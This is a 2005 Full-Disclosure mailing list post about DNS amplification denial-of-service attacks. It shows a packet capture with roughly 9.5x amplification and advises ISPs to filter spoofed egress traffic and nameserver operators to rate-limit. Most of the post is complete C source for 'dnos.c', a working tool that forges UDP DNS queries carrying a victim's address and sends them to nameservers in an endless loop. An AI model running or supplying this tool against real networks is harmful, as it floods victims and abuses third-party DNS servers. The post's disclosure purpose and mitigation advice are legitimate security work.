DNS smurf is old news: http://www.s0ftpj.org/docs/spj-002-000.txt http://www.ciac.org/ciac/bulletins/j-063.shtml However, as ISPs continue to operate networks that let spoofed packets out this issue deserves a little publicity again. 10:17:07.641061 IP (tos 0x0, ttl 64, id 46429, offset 0, flags [DF], length: 49) XXXXXXXXXXXXX.44295 > c.gtld-servers.net.domain: [udp sum ok] 18297 ANY? org. (21) 10:17:07.673800 IP (tos 0x0, ttl 43, id 0, offset 0, flags [DF], length: 468) c.gtld-servers.net.domain > XXXXXXXXXXXXX.44295: 18297- 0/13/13 (440) % echo "2 k 468 49 / p" | dc 9.55 That's a 9.5X amplification of outgoing traffic; you can probably break 10X with a little more work on the query and nameserver choices. SOLUTIONS --------- ISPs: Drop outgoing packets that don't originate from within your network. You should already be doing this, as it stops a variety of other attacks. NS operators: Ratelimit? Attached is a modernized proof of concept. -- Ian Gulliver Penguin Hosting "Failure is not an option; it comes bundled with your Microsoft products."
/*
* dnos.c - DNS amplified DoS proof of concept
* Copyright (C) 2005 Ian Gulliver
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of version 2 of the GNU General Public License as
* published by the Free Software Foundation.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
*
* */
// Linux will do the IP checksum in the kernel anyway
#define SKIP_IP_CHECKSUM
#include <stdlib.h>
#include <time.h>
#include <stdio.h>
#include <netinet/ip.h>
#include <netdb.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <string.h>
#include <strings.h>
struct s_packet {
unsigned char packet[512];
unsigned int len;
struct sockaddr_in dest;
struct s_packet *next;
};
struct s_dns_rr_type {
char name[6];
char value[3];
};
struct s_dns_rr_type rr_types[] = {
{ "A", "\x00\x01" },
{ "NS", "\x00\x02" },
{ "CNAME", "\x00\x05" },
{ "SOA", "\x00\x06" },
{ "PTR", "\x00\x0c" },
{ "MX", "\x00\x0f" },
{ "TXT", "\x00\x10" },
{ "AAAA", "\x00\x1c" },
{ "ANY", "\x00\xff" }
};
struct s_packet *packet_head = NULL;
static const unsigned char packet_template[] =
// IP Header
"\x45" // 00: Version (4), header size in 4-byte blocks (5)
"\x00" // 01: TOS (0)
"\x00\x00" // 02-03: Total length (filled in later)
"\x00\x00" // 04-05: ID (random)
"\x40\x00" // 06-07: Flags (4 = DF), fragment offset (0)
"\x00" // 08: TTL (random > 64)
"\x11" // 09: Protocol (17 = UDP)
"\x00\x00" // 10-11: Header checksum (filled in later)
"\x00\x00\x00\x00" // 12-15: Source IP (filled in later)
"\x00\x00\x00\x00" // 16-19: Destination IP (filled in later)
// UDP Header
"\x00\x00" // 20-21: Source port (random)
"\x00\x35" // 22-23: Destination port (53)
"\x00\x00" // 24-25: UDP packet length (filled in later)
"\x00\x00" // 26-27: UDP packet checksum (filled in later)
// DNS packet
"\x00\x00" // 28-29: Identification (random)
"\x00\x00" // 30-31: Flags (0)
"\x00\x01" // 32-33: Questions (1)
"\x00\x00" // 34-35: Answers (0)
"\x00\x00" // 36-37: Authority (0)
"\x00\x00" // 38-39: Additional (0)
// Space left to encode RRs
;
void do_random(unsigned char *dest, int min) {
*dest = min + (rand() % (255 - min));
}
void do_udp_checksum(struct s_packet *packet) {
uint32_t sum = 0;
uint16_t word;
int i;
packet->packet[26] = 0;
packet->packet[27] = 0;
for (i = 20; i < packet->len; i += 2) {
word = ((packet->packet[i] << 8) & 0xff00) +
(packet->packet[i+1] & 0xff);
sum += (uint32_t) word;
}
for (i = 12; i < 20; i += 2) {
word = ((packet->packet[i] << 8) & 0xff00) +
(packet->packet[i+1] & 0xff);
sum += (uint32_t) word;
}
sum += 17 + packet->len - 20;
while (sum >> 16)
sum = (sum & 0xffff) + (sum >> 16);
sum = ~sum;
packet->packet[27] = sum & 0xff;
packet->packet[26] = (sum & 0xff00) >> 8;
}
void do_ip_checksum(struct s_packet *packet) {
uint32_t sum = 0;
uint16_t word;
int i;
packet->packet[10] = 0;
packet->packet[11] = 0;
for (i = 0; i < 20; i += 2) {
word = ((packet->packet[i] << 8) & 0xff00) +
(packet->packet[i+1] & 0xff);
sum += (uint32_t) word;
}
while (sum >> 16)
sum = (sum & 0xffff) + (sum >> 16);
sum = ~sum;
packet->packet[11] = sum & 0xff;
packet->packet[10] = (sum & 0xff00) >> 8;
}
void do_packet_everytime(struct s_packet *packet) {
do_random(&packet->packet[4],0);
do_random(&packet->packet[5],0);
do_random(&packet->packet[8],64);
do_random(&packet->packet[20],0);
do_random(&packet->packet[21],0);
do_random(&packet->packet[28],0);
do_random(&packet->packet[29],0);
do_udp_checksum(packet);
#ifndef SKIP_IP_CHECKSUM
do_ip_checksum(packet);
#endif
}
void encode_ip(unsigned char *dest, char *string) {
struct hostent *dnsres;
if ((dnsres = gethostbyname(string)) == NULL || dnsres->h_addr_list ==
NULL || dnsres->h_addr_list[0] == NULL) {
fprintf(stderr,"Unable to resolve %s.\n",string);
exit(1);
}
memcpy(dest,dnsres->h_addr_list[0],4);
return;
}
void add_label(struct s_packet *packet, char *label) {
int i = strlen(label);
if (i > 63) {
fprintf(stderr,"DNS labels are limited to 63 characters.\n");
exit(1);
}
packet->packet[packet->len++] = (unsigned char) i;
memcpy(&packet->packet[packet->len],label,i);
packet->len += i;
}
void add_hostname(struct s_packet *packet, char *hostname) {
unsigned char *temp,*next = hostname;
while (next != NULL) {
temp = strchr(hostname,'.');
if (temp == NULL) {
next = NULL;
} else {
temp[0] = '\0';
next = &temp[1];
}
add_label(packet,hostname);
hostname = next;
}
if (packet->packet[packet->len - 1] != '\0')
add_label(packet,""); // people deal with unterminated labels
}
void add_type(struct s_packet *packet, char *type) {
int i;
for (i = 0; i < sizeof(rr_types) / sizeof(*rr_types); i++) {
if (strcasecmp(rr_types[i].name,type) == 0) {
memcpy(&packet->packet[packet->len],rr_types[i].value,2);
packet->len += 2;
return;
}
}
fprintf(stderr,"Unknown packet type: '%s'\n",type);
exit(1);
}
void add_class_in(struct s_packet *packet) {
memcpy(&packet->packet[packet->len],"\x00\x01",2);
packet->len += 2;
}
void parse_line(struct s_packet *packet, char *line, unsigned char *dest_addr) {
unsigned char bounce_addr[4];
char *start,*end;
memcpy(packet->packet,packet_template,sizeof(packet_template));
packet->len = sizeof(packet_template) - 1;
memcpy(&packet->packet[12],dest_addr,4);
memset(&packet->dest,'\0',sizeof(packet->dest));
packet->dest.sin_family = AF_INET;
packet->dest.sin_port = htons(53);
start = line;
end = strchr(start,':');
if (end == NULL) {
fprintf(stderr,"Malformed line: %s\n",line);
exit(1);
}
*end = '\0';
encode_ip(bounce_addr,start);
memcpy(&packet->packet[16],bounce_addr,4);
memcpy(&packet->dest.sin_addr.s_addr,bounce_addr,4);
start = &end[1];
end = strchr(start,':');
if (end == NULL) {
fprintf(stderr,"Malformed line: %s\n",line);
exit(1);
}
*end = '\0';
if (strlen(start) > 400) {
fprintf(stderr,"Use *small* DNS packets for amplification.\n");
exit(1);
}
add_hostname(packet,start);
start = &end[1];
end = strchr(start,'\n');
if (end == NULL) {
fprintf(stderr,"Malformed line: %s\n",line);
exit(1);
}
*end = '\0';
add_type(packet,start);
add_class_in(packet);
packet->packet[3] = packet->len & 0xff;
packet->packet[2] = (packet->len & 0xff00) >> 8;
packet->packet[25] = (packet->len - 20) & 0xff;
packet->packet[24] = ((packet->len - 20) & 0xff00) >> 8;
packet->packet[packet->len] = '\0'; // in case UDP header runs into odd
number of octets
}
void readfile(char *filename, char *destination) {
unsigned char dest_addr[4];
char buffer[1024];
FILE *input;
struct s_packet *packet_iter = NULL;
encode_ip(dest_addr,destination);
if ((input = fopen(filename,"r")) == NULL) {
perror("Unable to open input file");
exit(1);
}
while (fgets(buffer,1024,input) != NULL) {
struct s_packet *new_packet;
if (buffer[0] == '\n' || buffer[0] == '\0' || buffer[0] == '#')
continue;
if ((new_packet = malloc(sizeof(struct s_packet))) == NULL) {
perror("malloc");
exit(1);
}
if (packet_iter == NULL)
packet_iter = packet_head = new_packet;
else
packet_iter = packet_iter->next = new_packet;
parse_line(packet_iter,buffer,dest_addr);
}
if (packet_iter == NULL) {
fprintf(stderr,"No records found in file.\n");
exit(1);
}
packet_iter->next = packet_head; // circular list now
}
int main(int argc, char *argv[]) {
struct s_packet *packet_iter = NULL;
int s;
if (argc != 3) {
fprintf(stderr,"Usage: %s <filename> <destination>\n"
"File format is:\n"
"<nameserver hostname or IP>:<query
hostname>:<query type>\n",argv[0]);
exit(1);
}
readfile(argv[1],argv[2]);
srand(time(NULL));
s = socket(PF_INET, SOCK_RAW, IPPROTO_RAW);
if (s == -1) {
perror("socket(IPPROTO_RAW)");
exit(1);
}
printf("Sending packets...\n");
packet_iter = packet_head;
while (1) {
do_packet_everytime(packet_iter);
if (sendto(s,packet_iter->packet,packet_iter->len,0,(struct
sockaddr *)&packet_iter->dest,sizeof(packet_iter->dest)) != packet_iter->len) {
perror("sendmsg");
exit(1);
}
packet_iter = packet_iter->next;
}
return 0;
}
Attachment:
signature.asc
Description: Digital signature
_______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/